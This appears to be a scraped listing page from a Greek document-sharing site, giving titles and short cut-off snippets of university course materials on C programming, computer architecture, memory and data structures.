Προγραμματισμός Ι. Είσοδος/Έξοδος. Δημήτρης Μιχαήλ. Ακ. Έτος 2009-2010. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Είσοδος/Έξοδος Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2009-2010 Είσοδος/Έξοδος Μέχρι τώρα όποτε θέλαμε να διαβάσουμε χρησιμοποιούσαμε πάντα

Διαβάστε περισσότερα

Πληροφορική & Τηλεπικοινωνίες K18 - Υλοποίηση Συστηµάτων Βάσεων εδοµένων Εαρινό Εξάµηνο 2009 2010

Πληροφορική & Τηλεπικοινωνίες K18 - Υλοποίηση Συστηµάτων Βάσεων εδοµένων Εαρινό Εξάµηνο 2009 2010 Πληροφορική & Τηλεπικοινωνίες K18 - Υλοποίηση Συστηµάτων Βάσεων εδοµένων Εαρινό Εξάµηνο 2009 2010 Καθηγητής. Γουνόπουλος Άσκηση 1 Σκοπός της εργασίας αυτής είναι η κατανόηση της εσωτερικής λειτουργίας

Διαβάστε περισσότερα

Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα

Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα 1. Ποια είναι η σχέση της έννοιας του μικροεπεξεργαστή με αυτή του μικροελεγκτή; Α. Ο μικροεπεξεργαστής εμπεριέχει τουλάχιστο έναν μικροελεγκτή. Β. Ο

Διαβάστε περισσότερα

MIPS Interactive Learning Environment. MILE Simulator. Version 1.0. User's Manual

MIPS Interactive Learning Environment. MILE Simulator. Version 1.0. User's Manual MILE Simulator Version 1.0 User's Manual Νοέμβριος, 2011 Περιεχόμενα 1. Εισαγωγή στον προσομοιωτή...2 1.1 Εγκατάσταση...2 1.2 Βοήθεια Διευκρινήσεις...2 2. Ξεκινώντας με τον προσομοιωτή...3 2.1 Το memory

Διαβάστε περισσότερα

Ερωτήσεις θεωρίας MY. Μέρος Α. Υλικό.

Ερωτήσεις θεωρίας MY. Μέρος Α. Υλικό. Ερωτήσεις θεωρίας MY Μέρος Α. Υλικό. 1. Η μνήμη ROM είναι συνδυαστικό ή ακολουθιακό κύκλωμα; 2. α) Να σχεδιαστεί μία μνήμη ROM που να δίνει στις εξόδους της το πλήθος των ημερών του μήνα, ο αριθμός του

Διαβάστε περισσότερα

Κεφάλαιο 8.7. Πολυδιάστατοι Πίνακες (Διάλεξη 19)

Κεφάλαιο 8.7. Πολυδιάστατοι Πίνακες (Διάλεξη 19) Κεφάλαιο 8.7 Πολυδιάστατοι Πίνακες (Διάλεξη 19) Πολυδιάστατοι πίνακες Μέχρι τώρα μιλούσαμε για Μονοδιάστατους Πίνακες. ή π.χ. int age[5]= {31,28,31,30,31; για Παράλληλους πίνακες, π.χ. int id[5] = {1029,1132,1031,9991,1513;

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 11 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και

Διαβάστε περισσότερα

Η γλώσσα προγραμματισμού C

Η γλώσσα προγραμματισμού C Η γλώσσα προγραμματισμού C Εισαγωγή στη C Λίγα λόγια για την C Γλώσσα προγραμματισμού υψηλού επιπέδου. Σχεδιάστηκε και υλοποιήθηκε από τον Dennis Richie στις αρχές της δεκαετίας του 1970 (Bell Labs). Η

Διαβάστε περισσότερα

Διάλεξη 3η: Τύποι Μεταβλητών, Τελεστές, Είσοδος/Έξοδος

Διάλεξη 3η: Τύποι Μεταβλητών, Τελεστές, Είσοδος/Έξοδος Διάλεξη 3η: Τύποι Μεταβλητών, Τελεστές, Είσοδος/Έξοδος Τμήμα Επιστήμης Υπολογιστών, Πανεπιστήμιο Κρήτης Εισαγωγή στην Επιστήμη Υπολογιστών Βασίζεται σε διαφάνειες του Κ Παναγιωτάκη Πρατικάκης (CSD) Μεταβλητές,

Διαβάστε περισσότερα

ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C

ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C Στο εργαστήριο αυτό, θα ασχοληθούμε με δύο προγραμματιστικά περιβάλλοντα για τη γλώσσα C: τον gcc μεταγλωττιστή της C σε περιβάλλον

Διαβάστε περισσότερα

Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ

Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ Σχεδιασμός και υλοποίηση υποδομής σημείωσης διεργασιών στον

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 10: Πέρασμα Παραμέτρων σε Διαδικασίες. Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής

Διαβάστε περισσότερα

Αντικειμενοστραφής Προγραμματισμός I (5 ο εξ) Εργαστήριο #2 ο : Ανατομία προγραμμάτων εφαρμογών, η

Αντικειμενοστραφής Προγραμματισμός I (5 ο εξ) Εργαστήριο #2 ο : Ανατομία προγραμμάτων εφαρμογών, η Αντικειμενοστραφής Προγραμματισμός I (5 ο εξ) Εργαστήριο #2 ο : Ανατομία προγραμμάτων εφαρμογών, η μέθοδος main(), εμφάνιση μηνυμάτων, Java προγράμματα που εκτελούν αριθμητικές πράξεις Γαβαλάς Δαμιανός

Διαβάστε περισσότερα

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86 ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86 Αρης Ευθυμίου Το σημερινό μάθημα! Λυση του lab02! Αρχιτεκτονική ARM σε τι μοιάζει και σε τι διαφέρει από τον MIPS! Αρχιτεκτονική x86 μια γρήγορη ματιά στη

Διαβάστε περισσότερα

Εισαγωγή στον Προγραμματισμό

Εισαγωγή στον Προγραμματισμό Εισαγωγή στον Προγραμματισμό Ενότητα 14 Δυναμική διαχείριση μνήμης Πανεπιστήμιο Αιγαίου Τμήμα Μηχανικών Πληροφοριακών και Επικοινωνιακών Συστημάτων Στατική δέσμευση μνήμης Με τη δήλωση απλών μεταβλητών

Διαβάστε περισσότερα

Υπάρχουν δύο τύποι μνήμης, η μνήμη τυχαίας προσπέλασης (Random Access Memory RAM) και η μνήμη ανάγνωσης-μόνο (Read-Only Memory ROM).

Υπάρχουν δύο τύποι μνήμης, η μνήμη τυχαίας προσπέλασης (Random Access Memory RAM) και η μνήμη ανάγνωσης-μόνο (Read-Only Memory ROM). Μνήμες Ένα από τα βασικά πλεονεκτήματα των ψηφιακών συστημάτων σε σχέση με τα αναλογικά, είναι η ευκολία αποθήκευσης μεγάλων ποσοτήτων πληροφοριών, είτε προσωρινά είτε μόνιμα Οι πληροφορίες αποθηκεύονται

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών Ι

Αρχιτεκτονική Υπολογιστών Ι Αρχιτεκτονική Υπολογιστών Ι Επιλεγμένες εντολές και συναρτήσεις assembly Από το βιβλίο Αρχιτεκτονική Υπολογιστών & Προγραμματισμός Assembly (Συγγραφέας / Εκδότης : Παναγιώτης Παπάζογλου) Δρ. Παναγιώτης

Διαβάστε περισσότερα

Η-Υ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ. Εργαστήριο 1 Εισαγωγή στη C. Σοφία Μπαλτζή s.mpaltzi@di.uoa.gr

Η-Υ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ. Εργαστήριο 1 Εισαγωγή στη C. Σοφία Μπαλτζή s.mpaltzi@di.uoa.gr Η-Υ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ Εργαστήριο 1 Εισαγωγή στη C Σοφία Μπαλτζή s.mpaltzi@di.uoa.gr Διαδικαστικά Ιστοσελίδα μαθήματος: http://eclass.uoa.gr/courses/f30/ Υποχρεωτική παρακολούθηση: Παρασκευή 14:00 16:00 στην

Διαβάστε περισσότερα

Διάλεξη 2η: Αλγόριθμοι και Προγράμματα

Διάλεξη 2η: Αλγόριθμοι και Προγράμματα Διάλεξη 2η: Αλγόριθμοι και Προγράμματα Τμήμα Επιστήμης Υπολογιστών, Πανεπιστήμιο Κρήτης Εισαγωγή στην Επιστήμη Υπολογιστών Βασίζεται σε διαφάνειες του Κ Παναγιωτάκη Πρατικάκης (CSD) Αλγόριθμοι και Προγράμματα

Διαβάστε περισσότερα

ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ

ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ 4 ο Εξάμηνο Μαδεμλής Ιωάννης ΥΠΟΡΟΥΤΙΝΕΣ ΕΡΓΑΣΤΗΡΙΟ 6 Οι υπορουτίνες αποτελούν αυτόνομα τμήματα κώδικα που διεκπεραιώνουν μία συγκεκριμένη εργασία και μπορούμε να τα καλούμε

Διαβάστε περισσότερα

Πώς γίνεται το debug? Το debug γίνεται με δύο τρόπους, ως επί το πλείστον. Τουλάχιστον, εγώ δύο έμαθα, και αυτούς αναφέρω.

Πώς γίνεται το debug? Το debug γίνεται με δύο τρόπους, ως επί το πλείστον. Τουλάχιστον, εγώ δύο έμαθα, και αυτούς αναφέρω. Τι είναι το debug μαμα? Με απλά λόγια, debug (αποσφαλμάτωση αλλά που να κάθεσαι να το πεις), είναι η διαδικασία εντοπισμού και διόρθωσης σφαλμάτων που υπάρχουν σε κώδικα (ασχέτως γλώσσας προγραμματισμού).

Διαβάστε περισσότερα

Ανάπτυξη και Σχεδίαση Λογισμικού

Ανάπτυξη και Σχεδίαση Λογισμικού Ανάπτυξη και Σχεδίαση Λογισμικού Η γλώσσα προγραμματισμού C Γεώργιος Δημητρίου Βασικά Στοιχεία Το αλφάβητο της C Οι βασικοί τύποι της C Δηλώσεις μεταβλητών Είσοδος/Έξοδος Βασικές εντολές της C Αλφάβητο

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 12 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και

Διαβάστε περισσότερα

Προγραμματισμός Ι. Προεπεξεργαστής. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Προεπεξεργαστής. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Προεπεξεργαστής Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Διαδικασία Μεταγλώττισης πρόγραµµα επεξεργασίας κειµένου if a

Διαβάστε περισσότερα

Ανάπτυξη Μεγάλων Εφαρµογών στη Γλώσσα C (2)

Ανάπτυξη Μεγάλων Εφαρµογών στη Γλώσσα C (2) Ανάπτυξη Μεγάλων Εφαρµογών στη Γλώσσα C (2) Στην ενότητα αυτή θα µελετηθούν τα εξής επιµέρους θέµατα: Οργάνωση Προγράµµατος Header Files Μετάφραση και σύνδεση αρχείων προγράµµατος ΕΠΛ 132 Αρχές Προγραµµατισµού

Διαβάστε περισσότερα

Εισαγωγή στην C. Μορφή Προγράµµατος σε γλώσσα C

Εισαγωγή στην C. Μορφή Προγράµµατος σε γλώσσα C Εισαγωγή στην C Μορφή Προγράµµατος σε γλώσσα C Τµήµα Α Με την εντολή include συµπεριλαµβάνω στο πρόγραµµα τα πρότυπα των συναρτήσεων εισόδου/εξόδου της C.Το αρχείο κεφαλίδας stdio.h είναι ένας κατάλογος

Διαβάστε περισσότερα

Ενδεικτική περιγραφή μαθήματος

Ενδεικτική περιγραφή μαθήματος ΜΑΘΗΜΑ: ΔΙΔΑΣΚΩΝ: ΤΜΗΜΑ: Προγραμματισμός Η/Υ Συνδουκάς Δημήτριος Διοίκησης Επιχειρήσεων (Γρεβενά) Ενδεικτική περιγραφή μαθήματος 1. Εισαγωγή: Εισαγωγή στον προγραμματισμό, γλώσσες προγραμματισμού, μεταγλωτιστές.

Διαβάστε περισσότερα

Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή

Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή Αριθμός bit δίαυλου δεδομένων (Data Bus) Αριθμός bit δίαυλου διευθύνσεων (Address Bus) Μέγιστη συχνότητα λειτουργίας (Clock Frequency) Τύποι εντολών Αριθμητική

Διαβάστε περισσότερα

; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους;

; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους; Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2015-16 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Δομή Εντολών και Παραδείγματα) http://di.ionio.gr/~mistral/tp/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική

Διαβάστε περισσότερα

Διάλεξη 06: Συνδεδεμένες Λίστες & Εφαρμογές Στοιβών και Ουρών

Διάλεξη 06: Συνδεδεμένες Λίστες & Εφαρμογές Στοιβών και Ουρών ΕΠΛ231 Δομές Δεδομένων και Αλγόριθμοι 1 Διάλεξη 06: Συνδεδεμένες Λίστες & Εφαρμογές Στοιβών και Ουρών Στην ενότητα αυτή θα μελετηθούν τα εξής επιμέρους θέματα: - Υλοποίηση ΑΤΔ με Συνδεδεμένες Λίστες -

Διαβάστε περισσότερα

Διάλεξη 5η: Εντολές Επανάληψης

Διάλεξη 5η: Εντολές Επανάληψης Διάλεξη 5η: Εντολές Επανάληψης Τμήμα Επιστήμης Υπολογιστών, Πανεπιστήμιο Κρήτης Εισαγωγή στην Επιστήμη Υπολογιστών Βασίζεται σε διαφάνειες του Κ Παναγιωτάκη Πρατικάκης (CSD) Εντολές Επανάληψης CS100, 2015-2016

Διαβάστε περισσότερα

Στοίβες με Δυναμική Δέσμευση Μνήμης

Στοίβες με Δυναμική Δέσμευση Μνήμης ΕΠΛ 231 ΔΟΜΕΣ ΔΕΔΟΜΕΝΩΝ ΚΑΙ ΑΛΓΟΡΙΘΜΟΙ 10/02/10 Παύλος Αντωνίου Στοίβες με Δυναμική Δέσμευση Μνήμης Στοίβα: Στοίβα είναι μια λίστα που έχει ένα επιπλέον περιορισμό. Ο περιορισμός είναι ότι οι εισαγωγές

Διαβάστε περισσότερα

ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΕΣ ΤΕΧΝΙΚΕΣ Σύντομη εισαγωγή στο εργαστήριο

ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΕΣ ΤΕΧΝΙΚΕΣ Σύντομη εισαγωγή στο εργαστήριο ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΕΣ ΤΕΧΝΙΚΕΣ Σύντομη εισαγωγή στο εργαστήριο Στο φετινό εργαστήριο του μαθήματος, έχετε τη δυνατότητα να δουλέψετε σε 2 περιβάλλοντα. Ένα σε περιβάλλον UNIX μέσω απομακρυσμένης σύνδεσης σε

Διαβάστε περισσότερα

Προγραμματισμό για ΗΜΥ

Προγραμματισμό για ΗΜΥ ΕΠΛ 34: Εισαγωγή στον Προγραμματισμό για ΗΜΥ Αχιλλέας Αχιλλέως, Τμήμα Πληροφορικής, Πανεπιστήμιο Κύπρου Email: achilleas@cs.ucy.ac.cy Κεφάλαιο 12 Πίνακες εικτών (Pointers Arrays) Θέματα ιάλεξης Στην ενότητα

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου

Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Αρχιτεκτονική Υπολογιστών Ασκήσεις Εργαστηρίου Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ Νο 07 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και

Διαβάστε περισσότερα

C: Από τη Θεωρία στην Εφαρμογή

C: Από τη Θεωρία στην Εφαρμογή Δρ. Γ. Σ. Τσελίκης Δρ. Ν. Δ. Τσελίκας C: Από τη Θεωρία στην Εφαρμογή Ενδεικτικές Ασκήσεις από το Βιβλίο C: Από τη Θεωρία στην Εφαρμογή (Γ. Σ. Τσελίκης Ν. Δ. Τσελίκας) Ενδεικτικές Ασκήσεις του Βιβλίου Ε.Α.1

Διαβάστε περισσότερα

Κεφάλαιο 3.5-3.6, 3.2: Συναρτήσεις II. ( ιάλεξη 12) ιδάσκων: ηµήτρης Ζεϊναλιπούρ

Κεφάλαιο 3.5-3.6, 3.2: Συναρτήσεις II. ( ιάλεξη 12) ιδάσκων: ηµήτρης Ζεϊναλιπούρ Κεφάλαιο 3.5-3.6, 3.2: Συναρτήσεις II ( ιάλεξη 12) ιδάσκων: ηµήτρης Ζεϊναλιπούρ 12-1 Ανασκόπηση οµής Προγράµµατος µε Συναρτήσεις #include 1 void PrintMessage (); Πρότυπο ( ήλωση) Συνάρτησης (

Διαβάστε περισσότερα

Δυναμικές Ιστοσελίδες Εισαγωγή στην Javascript για προγραμματισμό στην πλευρά του client

Δυναμικές Ιστοσελίδες Εισαγωγή στην Javascript για προγραμματισμό στην πλευρά του client ΕΣΔ 516 Τεχνολογίες Διαδικτύου Δυναμικές Ιστοσελίδες Εισαγωγή στην Javascript για προγραμματισμό στην πλευρά του client Περιεχόμενα Περιεχόμενα Javascript και HTML Βασική σύνταξη Μεταβλητές Τελεστές Συναρτήσεις

Διαβάστε περισσότερα

5 ΕΙΣΑΓΩΓΗ ΣΤΗ ΘΕΩΡΙΑ ΑΛΓΟΡΙΘΜΩΝ

5 ΕΙΣΑΓΩΓΗ ΣΤΗ ΘΕΩΡΙΑ ΑΛΓΟΡΙΘΜΩΝ 5 ΕΙΣΑΓΩΓΗ ΣΤΗ ΘΕΩΡΙΑ ΑΛΓΟΡΙΘΜΩΝ 5.1 Εισαγωγή στους αλγορίθμους 5.1.1 Εισαγωγή και ορισμοί Αλγόριθμος (algorithm) είναι ένα πεπερασμένο σύνολο εντολών οι οποίες εκτελούν κάποιο ιδιαίτερο έργο. Κάθε αλγόριθμος

Διαβάστε περισσότερα

ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΩΝ ΣΕ ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΟ ΠΕΡΙΒΑΛΛΟΝΩ ΤΕΧΝΟΛΟΓΙΚΗΣ ΚΑΤΕΥΘΥΝΣΗΣ Γ ΛΥΚΕΙΟΥ

ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΩΝ ΣΕ ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΟ ΠΕΡΙΒΑΛΛΟΝΩ ΤΕΧΝΟΛΟΓΙΚΗΣ ΚΑΤΕΥΘΥΝΣΗΣ Γ ΛΥΚΕΙΟΥ ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΩΝ ΣΕ ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΟ ΠΕΡΙΒΑΛΛΟΝΩ ΤΕΧΝΟΛΟΓΙΚΗΣ ΚΑΤΕΥΘΥΝΣΗΣ Γ ΛΥΚΕΙΟΥ ΘΕΜΑ 1 ο : Α. Να αναφέρετε ονομαστικά τις βασικές λειτουργίες (πράξεις) επί των δομών δεδομένων. Μονάδες 8 Β. Στον

Διαβάστε περισσότερα

Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή

Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή Εισαγωγή Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ Σκοπός του εργαστηρίου είναι να γνωρίσουµε την εσωτερική δοµή και αρχιτεκτονική της κεντρικής µονάδας επεξεργασίας, να κατανοήσουµε τον τρόπο µε τον οποίο λειτουργεί

Διαβάστε περισσότερα

ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ

ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ Τρίτη Διάλεξη Εντολές Επιλογής και Επανάληψης Εντολές επιλογής Εντολή if Η πιο απλή μορφή της if συντάσσεται ως εξής: if ( συνθήκη ) Οι εντολές μέσα στα άγκιστρα αποτελούν

Διαβάστε περισσότερα

C: Από τη Θεωρία στην Εφαρµογή 2 ο Κεφάλαιο

C: Από τη Θεωρία στην Εφαρµογή 2 ο Κεφάλαιο C: Από τη Θεωρία στην Εφαρµογή Κεφάλαιο 2 ο Τύποι Δεδοµένων Δήλωση Μεταβλητών Έξοδος Δεδοµένων Γ. Σ. Τσελίκης Ν. Δ. Τσελίκας Μνήµη και Μεταβλητές Σχέση Μνήµης Υπολογιστή και Μεταβλητών Η µνήµη (RAM) ενός

Διαβάστε περισσότερα

Προγραμματισμός Ι. Κλάσεις και Αντικείμενα. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Κλάσεις και Αντικείμενα. Δημήτρης Μιχαήλ. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Κλάσεις και Αντικείμενα Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Κλάσεις Η γενική μορφή μιας κλάσης είναι η εξής: class class-name { private data and

Διαβάστε περισσότερα

Προγραμματιστικές Ασκήσεις, Φυλλάδιο 1

Προγραμματιστικές Ασκήσεις, Φυλλάδιο 1 ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ ΣΕ C Προγραμματιστικές Ασκήσεις, Φυλλάδιο Εκφώνηση: 9/3/0 Παράδοση: 5/4/0,.59 Άσκηση 0 η : Το πρόβλημα της βελόνας του Buffon Θέμα της εργασίας

Διαβάστε περισσότερα

Εντολές γλώσσας μηχανής

Εντολές γλώσσας μηχανής Εντολές γλώσσας μηχανής Στον υπολογιστή MIPS η εντολή πρόσθεσε τα περιεχόμενα των καταχωρητών 17 και 20 και τοποθέτησε το αποτέλεσμα στον καταχωρητή 9 έχει την μορφή: 00000010001101000100100000100000 Πεδία

Διαβάστε περισσότερα

Προγραμματισμός και Χρήση Ηλεκτρονικών Υπολογιστών - Βασικά Εργαλεία Λογισμικού

Προγραμματισμός και Χρήση Ηλεκτρονικών Υπολογιστών - Βασικά Εργαλεία Λογισμικού ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ ΣΧΟΛΗ ΧΗΜΙΚΩΝ ΜΗΧΑΝΙΚΩΝ ΥΠΟΛΟΓΙΣΤΙΚΟ ΚΕΝΤΡΟ Προγραμματισμός και Χρήση Ηλεκτρονικών Υπολογιστών - Βασικά Εργαλεία Λογισμικού Μάθημα 2ο Aντώνης Σπυρόπουλος v2_061015 Οροι που

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 13: (Μέρος Β ) Λειτουργικό Σύστημα Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής

Διαβάστε περισσότερα

Μάθημα 8: Διαχείριση Μνήμης

Μάθημα 8: Διαχείριση Μνήμης Μάθημα 8: Διαχείριση Μνήμης 8.1 Κύρια και δευτερεύουσα μνήμη Κάθε μονάδα ενός υπολογιστή που χρησιμεύει για τη μόνιμη ή προσωρινή αποθήκευση δεδομένων ανήκει στην μνήμη (memory) του υπολογιστή. Οι μνήμες

Διαβάστε περισσότερα

Αρχιτεκτονική Eckert-von Neumann. Πως λειτουργεί η ΚΜΕ; Κεντρική μονάδα επεξεργασίας [3] ΕΠΛ 031: ΕΙΣΑΓΩΓΗ ΣΤΟΝ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ

Αρχιτεκτονική Eckert-von Neumann. Πως λειτουργεί η ΚΜΕ; Κεντρική μονάδα επεξεργασίας [3] ΕΠΛ 031: ΕΙΣΑΓΩΓΗ ΣΤΟΝ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ Αρχιτεκτονική Eckert-von Neumann εισόδου μεταφορά δεδομένων από έξω προς τον Η/Υ εξόδου μεταφορά δεδομένων από τον Η/Υ προς τα έξω ΕΠΛ 031: ΕΙΣΑΓΩΓΗ ΣΤΟΝ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ Κύκλος Μηχανής κεντρικός έλεγχος/πράξεις

Διαβάστε περισσότερα

Συνοπτική Μεθοδολογία Ασκήσεων Κεφαλαίου 7. Ασκήσεις στο IP Fragmentation

Συνοπτική Μεθοδολογία Ασκήσεων Κεφαλαίου 7. Ασκήσεις στο IP Fragmentation Συνοπτική Μεθοδολογία Ασκήσεων Κεφαλαίου 7 Οι σημειώσεις που ακολουθούν περιγράφουν τις ασκήσεις που θα συναντήσετε στο κεφάλαιο 7. Η πιο συνηθισμένη και βασική άσκηση αναφέρεται στο IP Fragmentation,

Διαβάστε περισσότερα

Σενάριο 17: Παιχνίδι μνήμης με εικόνες

Σενάριο 17: Παιχνίδι μνήμης με εικόνες Σενάριο 17: Παιχνίδι μνήμης με εικόνες Φύλλο Εργασίας Τίτλος: Παιχνίδι μνήμης με εικόνες Γνωστικό Αντικείμενο: Εφαρμογές Πληροφορικής-Υπολογιστών Διδακτική Ενότητα: Διερευνώ - Δημιουργώ Ανακαλύπτω, Συνθετικές

Διαβάστε περισσότερα

ΑΣΚΗΣΗ. Ορίζονται μόνο καθολικές ακέραιες μεταβλητές με τη σύνταξη: int varname;

ΑΣΚΗΣΗ. Ορίζονται μόνο καθολικές ακέραιες μεταβλητές με τη σύνταξη: int varname; ΑΣΚΗΣΗ Εισαγωγή Η γλώσσα Aegean-C είναι ένα υποσύνολο της γλώσσας C. Δε διαθέτει πολλούς τύπους, δομές, δείκτες, αρκετούς τελεστές, τις περισσότερες συναρτήσεις της βιβλιοθήκης και ορισμένες εντολές. Παρόλα

Διαβάστε περισσότερα

Οι βασικές λειτουργίες (ή πράξεις) που γίνονται σε μια δομή δεδομένων είναι:

Οι βασικές λειτουργίες (ή πράξεις) που γίνονται σε μια δομή δεδομένων είναι: ΔΟΜΕΣ ΔΕΔΟΜΕΝΩΝ Μια δομή δεδομένων στην πληροφορική, συχνά αναπαριστά οντότητες του φυσικού κόσμου στον υπολογιστή. Για την αναπαράσταση αυτή, δημιουργούμε πρώτα ένα αφηρημένο μοντέλο στο οποίο προσδιορίζονται

Διαβάστε περισσότερα

ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ

ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ ΑΡΧΕΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΥ Κεφάλαιο 2 Επιμέλεια: Βασίλης Παλιουράς, Αναπληρωτής Καθηγητής Ευάγγελος Δερματάς, Αναπληρωτής Καθηγητής Σταύρος Νούσιας, Βοηθός Ερευνητή Πολυτεχνική Σχολή Τμήμα Ηλεκτρολόγων Μηχανικών

Διαβάστε περισσότερα

ΕΣ 08 Επεξεργαστές Ψηφιακών Σηµάτων. Βιβλιογραφία Ενότητας

